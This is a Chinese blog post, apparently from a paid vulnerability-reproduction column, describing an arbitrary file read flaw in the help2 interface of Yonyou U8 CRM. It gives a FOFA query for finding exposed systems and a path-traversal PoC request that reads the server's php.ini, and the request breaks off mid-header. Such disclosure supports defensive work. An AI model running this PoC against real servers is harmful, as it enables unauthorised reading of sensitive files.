用友U8+CRM help2 任意文件读取漏洞复现

0xSecl

已于 2024-06-18 14:23:29 修改

阅读量1.3k

点赞数 15

分类专栏：漏洞复现文章标签：安全 web安全

于 2023-12-21 17:09:44 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/135135305

版权

漏洞复现专栏收录该内容

该专栏为热销专栏榜第87名

798 篇文章 1315 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了用友U8 CRM的help2接口存在的任意文件读取漏洞，该漏洞可能导致服务器敏感信息泄露。复现环境为FOFA搜索到的系统，修复建议包括限制接口访问权限和升级到安全版本。

摘要由CSDN通过智能技术生成

0x01 产品简介

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。

0x02 漏洞概述

用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服务器敏感信息。

0x03 复现环境

FOFA：title="用友U8CRM"

0x04 漏洞复现

PoC

GET /pub/help2.php?key=/../../apache/php.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=

了解本专栏